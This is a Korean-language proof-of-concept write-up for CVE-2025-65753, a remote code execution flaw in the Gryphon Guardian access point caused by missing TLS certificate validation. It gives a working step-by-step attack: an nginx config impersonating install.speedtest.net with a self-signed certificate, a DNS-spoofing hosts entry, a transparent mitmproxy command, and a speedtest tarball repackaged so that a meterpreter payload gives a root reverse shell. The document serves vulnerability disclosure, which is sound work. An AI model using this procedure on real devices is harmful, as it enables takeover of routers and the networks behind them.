
CVE-2025-65753 PoC
CVE-2025-65753에 대한 개념 증명: Gryphon Guardian 액세스 포인트(펌웨어 버전 01.06.0006.22)에서 부적절한 TLS 인증서 검증을 통한 원격 코드 실행.
Gryphon Guardian WiFi 액세스 포인트(펌웨어 버전 01.06.0006.22)는 앱을 통해 프롬프트된 후 다운로드되는 인터넷 속도 테스트 클라이언트의 TLS 인증서를 제대로 검증하지 않습니다. 이 결함으로 인해 공격자가 통신을 가로채고 조작하여 클라이언트에 악성 코드를 주입하고, 이후 액세스 포인트에서 루트로 실행되게 할 수 있습니다.
이 취약점을 악용하는 두 가지 방법이 있습니다:
이 PoC의 목적상, 액세스 포인트의 트래픽은 2개의 네트워크 인터페이스를 브리징하여 공격자의 컴퓨터를 통해 라우팅됩니다(기본적으로 MitM 공격). 이는 아래 다이어그램과 같습니다.

이를 위해 TCP 트래픽을 로컬 포트 9900으로 리디렉션하여 분석하면서, 저는 자체 도구를 사용했습니다: https://github.com/diegovargasj/bridge-interfaces

다음으로, aapooksman의 certmitm 도구(https://github.com/aapooksman/certmitm)를 사용하여 TLS 연결을 분석하고 인증서 검증을 테스트하기 위해 여러 공격을 자동으로 배포했습니다. 이를 통해 여러 서버에 대한 여러 결함이 드러났습니다. 제 관심을 끈 것은 https://install.speedtest.net/app/cli/ookla-speedtest-1.2.0-linux-armhf.tgz에서의 속도 테스트 클라이언트 다운로드였으며, 이는 간단한 자체 서명 인증서로 가로챌 수 있습니다.

타르볼에는 32비트 ARM 컴파일 ELF가 포함되어 있으며, 이는 장치에 의해 다운로드, 압축 해제 및 실행됩니다.

장치는 TLS 인증서의 신뢰성을 검증하지 않습니다. 간단한 자체 서명 인증서를 기꺼이 수락하기 때문입니다. 따라서 HTTPS 서버를 배포하고 install.speedtest.net에 대한 DNS 응답을 스푸핑하면 원하는 실행 파일을 제공할 수 있습니다. 이를 위해 다음 nginx 구성을 사용하면 됩니다:
server {
listen 443 ssl default_server;
server_name install.speedtest.net;
ssl_certificate /path/to/self_signed_cert.pem;
ssl_certificate_key /path/to/self_signed_key.pem;
root /path/to/webroot;
}
다음으로, /etc/hosts 파일에 다음 줄을 추가하여 dnsmasq를 통해 DNS 응답을 스푸핑합니다.
192.168.0.15 install.speedtest.net
마지막으로, bridge-interfaces.sh 스크립트를 다시 시작하고, certmitm.py를 종료한 후 mitmproxy를 실행합니다:
mitmproxy --listen-host 192.168.0.15 --listen-port 9900 --mode transparent -k
이제 페이로드만 필요합니다. 액세스 포인트에 python이 설치되어 있으므로 간단한 meterpreter 스크립트로 충분합니다. msfvenom으로 스크립트를 생성하세요:

속도 테스트 클라이언트의 원래 ELF를 페이로드를 호출하는 bash 스크립트로 교체하세요:
python payload.py
그리고 적절한 경로로 타르볼에 패키징하여 https://install.speedtest.net/app/cli/ookla-speedtest-1.2.0-linux-armhf.tgz에 대한 웹 요청과 일치하도록 합니다:
tar -czvf ookla-speedtest-1.2.0-linux-armhf.tgz speedtest payload.py
이제 meterpreter 리스너를 설정합니다. Gryphon 앱에서 속도 테스트를 호출한 후, 루트 권한으로 역방향 셸을 얻습니다.

그리고 액세스 포인트 내에서 임의의 명령을 실행할 수 있습니다.
